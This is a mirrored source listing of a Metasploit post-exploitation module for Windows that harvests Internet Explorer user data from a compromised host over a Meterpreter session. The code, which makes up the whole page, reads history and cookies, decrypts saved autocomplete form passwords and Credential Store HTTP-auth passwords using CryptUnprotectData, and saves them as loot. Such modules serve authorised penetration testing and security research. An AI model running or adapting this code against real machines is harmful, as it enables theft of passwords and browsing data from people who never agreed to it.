Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_ie.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Registry
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather Internet Explorer User Data Enumeration',
15
'Description' => %q{
16
This module will collect history, cookies, and credentials (from either HTTP
17
auth passwords, or saved form passwords found in auto-complete) in
18
Internet Explorer. The ability to gather credentials is only supported
19
for versions of IE >=7, while history and cookies can be extracted for all
20
versions.
21
},
22
'License' => MSF_LICENSE,
23
'Platform' => ['win'],
24
'SessionTypes' => ['meterpreter'],
25
'Author' => ['Kx499'],
26
'Notes' => {
27
'Stability' => [CRASH_SAFE],
28
'SideEffects' => [],
29
'Reliability' => []
30
},
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
core_channel_eof
35
core_channel_open
36
core_channel_read
37
core_channel_write
38
stdapi_fs_stat
39
stdapi_railgun_api
40
stdapi_sys_config_getenv
41
stdapi_sys_config_sysinfo
42
stdapi_sys_process_attach
43
stdapi_sys_process_execute
44
stdapi_sys_process_get_processes
45
stdapi_sys_process_memory_allocate
46
stdapi_sys_process_memory_read
47
stdapi_sys_process_memory_write
48
]
49
}
50
}
51
)
52
)
53
end
54
55
#
56
# RAILGUN HELPER FUNCTIONS
57
#
58
def is_86
59
pid = session.sys.process.open.pid
60
return session.sys.process.each_process.find { |i| i['pid'] == pid }['arch'] == 'x86'
61
end
62
63
def pack_add(data)
64
if is_86
65
addr = [data].pack('V')
66
else
67
addr = [data].pack('Q<')
68
end
69
return addr
70
end
71
72
def mem_write(data, length)
73
pid = session.sys.process.open.pid
74
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
75
mem = process.memory.allocate(length)
76
process.memory.write(mem, data)
77
return mem
78
end
79
80
def read_str(address, len, type)
81
begin
82
pid = session.sys.process.open.pid
83
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
84
raw = process.memory.read(address, len)
85
if type == 0 # unicode
86
str_data = raw.gsub("\x00", '')
87
elsif type == 1 # null terminated
88
str_data = raw.unpack('Z*')[0]
89
elsif type == 2 # raw data
90
str_data = raw
91
end
92
rescue StandardError
93
str_data = nil
94
end
95
return str_data || 'Error Decrypting'
96
end
97
98
#
99
# DECRYPT FUNCTIONS
100
#
101
def decrypt_reg(entropy, data)
102
c32 = session.railgun.crypt32
103
# set up entropy
104
salt = []
105
entropy.each_byte do |c|
106
salt << c
107
end
108
ent = salt.pack('v*')
109
110
# save values to memory and pack addresses
111
mem = mem_write(data, 1024)
112
mem2 = mem_write(ent, 1024)
113
addr = pack_add(mem)
114
len = pack_add(data.length)
115
eaddr = pack_add(mem2)
116
elen = pack_add((entropy.length + 1) * 2)
117
118
# cal railgun to decrypt
119
if is_86
120
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)
121
len, add = ret['pDataOut'].unpack('V2')
122
else
123
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)
124
len, add = ret['pDataOut'].unpack('Q2')
125
end
126
127
return '' unless ret['return']
128
129
return read_str(add, len, 2)
130
end
131
132
def decrypt_cred(daddr, dlen)
133
c32 = session.railgun.crypt32
134
# set up entropy
135
guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'
136
ent_sz = 74
137
salt = []
138
guid.each_byte do |c|
139
salt << c * 4
140
end
141
ent = salt.pack('v*')
142
143
# write entropy to memory and pack addresses
144
mem = mem_write(ent, 1024)
145
addr = pack_add(daddr)
146
len = pack_add(dlen)
147
eaddr = pack_add(mem)
148
elen = pack_add(ent_sz)
149
150
# prep vars and call function
151
if is_86
152
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
153
len, add = ret['pDataOut'].unpack('V2')
154
else
155
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
156
len, add = ret['pDataOut'].unpack('Q<2')
157
end
158
159
# get data, and return it
160
return '' unless ret['return']
161
162
return read_str(add, len, 0)
163
end
164
165
#
166
# Extract IE Data Functions
167
#
168
def get_stuff(path, history)
169
t = DateTime.new(1601, 1, 1, 0, 0, 0)
170
tmpout = ''
171
if history
172
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
173
else # get cookies
174
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
175
end
176
177
outfile = session.fs.file.new(path, 'rb')
178
until outfile.eof?
179
begin
180
tmpout << outfile.read
181
rescue StandardError
182
nil
183
end
184
end
185
outfile.close
186
187
urls = tmpout.scan(re)
188
urls.each do |url|
189
# date modified
190
hist = {}
191
origh = url[0].unpack('H*')[0]
192
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
193
newh = harr.reverse.join
194
hfloat = newh.hex.to_f
195
sec = hfloat / 10000000
196
days = sec / 86400
197
timestamp = t + days
198
hist['dtmod'] = timestamp.to_s
199
200
# date accessed
201
origh = url[1].unpack('H*')[0]
202
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
203
newh = harr.reverse.join
204
hfloat = newh.hex.to_f
205
sec = hfloat / 10000000
206
days = sec / 86400
207
timestamp = t + days
208
hist['dtacc'] = timestamp.to_s
209
hist['url'] = url[2]
210
if history
211
@hist_col << hist
212
@hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]
213
else
214
@cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]
215
end
216
end
217
end
218
219
def hash_url(url)
220
rg_advapi = session.railgun.advapi32
221
prov = 'Microsoft Enhanced Cryptographic Provider v1.0'
222
context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
223
h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
224
rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)
225
hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)
226
hval_arr = hparam['pbData'].unpack('C*')
227
hval = hparam['pbData'].unpack('H*')[0]
228
rg_advapi.CryptDestroyHash(h['phHash'])
229
rg_advapi.CryptReleaseContext(context['phProv'], 0)
230
tail = hval_arr.inject(0) { |s, v| s + v }
231
htail = ('%02x' % tail)[-2, 2]
232
return "#{hval}#{htail}"
233
end
234
235
def run
236
# check for meterpreter and version of ie
237
if (session.type != 'meterpreter') && session.platform !~ (/win/)
238
print_error('This module only works with Windows Meterpreter sessions')
239
return 0
240
end
241
242
# get version of ie and check it
243
ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')
244
print_status("IE Version: #{ver}")
245
if ver =~ /(6\.|5\.)/
246
print_error('This module will only extract credentials for >= IE7')
247
end
248
249
# setup tables
250
@hist_table = Rex::Text::Table.new(
251
'Header' => 'History data',
252
'Indent' => 1,
253
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
254
)
255
256
@cook_table = Rex::Text::Table.new(
257
'Header' => 'Cookies data',
258
'Indent' => 1,
259
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
260
)
261
262
cred_table = Rex::Text::Table.new(
263
'Header' => 'Credential data',
264
'Indent' => 1,
265
'Columns' => ['Type', 'Url', 'User', 'Pass']
266
)
267
268
# set up vars
269
host = session.sys.config.sysinfo
270
@hist_col = []
271
272
# set paths
273
regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'
274
vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'
275
vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'
276
xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'
277
vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'
278
vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'
279
xp_c = '\\Cookies\\index.dat'
280
h_paths = []
281
c_paths = []
282
base = session.sys.config.getenv('USERPROFILE')
283
if host['OS'] =~ /(Windows 7|2008|Vista)/
284
h_paths << base + vist_h
285
h_paths << base + vist_hlow
286
c_paths << base + vist_c
287
c_paths << base + vist_clow
288
else
289
h_paths << base + xp_h
290
c_paths << base + xp_c
291
end
292
293
# Get history and cookies
294
print_status('Retrieving history.....')
295
h_paths.each do |hpath|
296
next unless session.fs.file.exist?(hpath)
297
298
print_line("\tFile: #{hpath}")
299
# copy file
300
cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
301
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
302
303
# loop until cmd is done
304
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
305
# end
306
sleep(1)
307
308
# get stuff and delete
309
get_stuff("#{base}\\index.dat", true)
310
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
311
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
312
end
313
314
print_status('Retrieving cookies.....')
315
c_paths.each do |cpath|
316
next unless session.fs.file.exist?(cpath)
317
318
print_line("\tFile: #{cpath}")
319
# copy file
320
cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
321
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
322
323
# loop until cmd is done
324
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
325
# end
326
sleep(1)
327
328
# get stuff and delete
329
get_stuff("#{base}\\index.dat", false)
330
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
331
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
332
end
333
334
# get autocomplete creds
335
print_status('Looping through history to find autocomplete data....')
336
val_arr = registry_enumvals(regpath)
337
if val_arr
338
@hist_col.each do |hitem|
339
url = hitem['url'].split('?')[0].downcase
340
hash = hash_url(url).upcase
341
next unless val_arr.include?(hash)
342
343
data = registry_getvaldata(regpath, hash)
344
dec = decrypt_reg(url, data)
345
346
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
347
# returning an array of nils. If this happens, we can cause an "undefined method
348
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
349
next if dec.empty?
350
351
# decode data and add to creds array
352
header = dec.unpack('VVVVVV')
353
354
offset = header[0] + header[1] # offset to start of data
355
cnt = header[5] / 2 # of username/password combinations
356
secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")
357
for i in (0..cnt).step(2)
358
cred = {}
359
cred['type'] = 'Auto Complete'
360
cred['url'] = url
361
cred['user'] = secrets[i].gsub("\x00", '')
362
cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?
363
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
364
end
365
end
366
else
367
print_error('No autocomplete entries found in registry')
368
end
369
370
# get creds from credential store
371
print_status('Looking in the Credential Store for HTTP Authentication Creds...')
372
# get data from credential store
373
ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)
374
p_to_arr = ret['Credentials'].unpack('V')
375
arr_len = ret['Count'] * 4 if is_86
376
arr_len = ret['Count'] * 8 unless is_86
377
378
# read array of addresses as pointers to each structure
379
raw = read_str(p_to_arr[0], arr_len, 2)
380
pcred_array = raw.unpack('V*') if is_86
381
pcred_array = raw.unpack('Q<*') unless is_86
382
383
# loop through the addresses and read each credential structure
384
pcred_array.each do |pcred|
385
raw = read_str(pcred, 52, 2)
386
cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
387
cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86
388
389
location = read_str(cred_struct[2], 512, 1)
390
next unless location.include? 'Microsoft_WinInet'
391
392
decrypted = decrypt_cred(cred_struct[6], cred_struct[5])
393
cred = {}
394
cred['type'] = 'Credential Store'
395
cred['url'] = location.gsub('Microsoft_WinInet_', '')
396
cred['user'] = decrypted.split(':')[0] || 'No Data'
397
cred['pass'] = decrypted.split(':')[1] || 'No Data'
398
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
399
end
400
401
# store data in loot
402
if !@hist_table.rows.empty?
403
print_status('Writing history to loot...')
404
path = store_loot(
405
'ie.history',
406
'text/plain',
407
session,
408
@hist_table,
409
'ie_history.txt',
410
'Internet Explorer Browsing History'
411
)
412
print_good("Data saved in: #{path}")
413
end
414
415
if !@cook_table.rows.empty?
416
print_status('Writing cookies to loot...')
417
path = store_loot(
418
'ie.cookies',
419
'text/plain',
420
session,
421
@cook_table,
422
'ie_cookies.txt',
423
'Internet Explorer Cookies'
424
)
425
print_good("Data saved in: #{path}")
426
end
427
428
if !cred_table.rows.empty?
429
print_status('Writing gathered credentials to loot...')
430
path = store_loot(
431
'ie.user.creds',
432
'text/plain',
433
session,
434
cred_table,
435
'ie_creds.txt',
436
'Internet Explorer User Credentials'
437
)
438
439
print_good("Data saved in: #{path}")
440
# print creds
441
print_line('')
442
print_line(cred_table.to_s)
443
end
444
end
445
end
446
447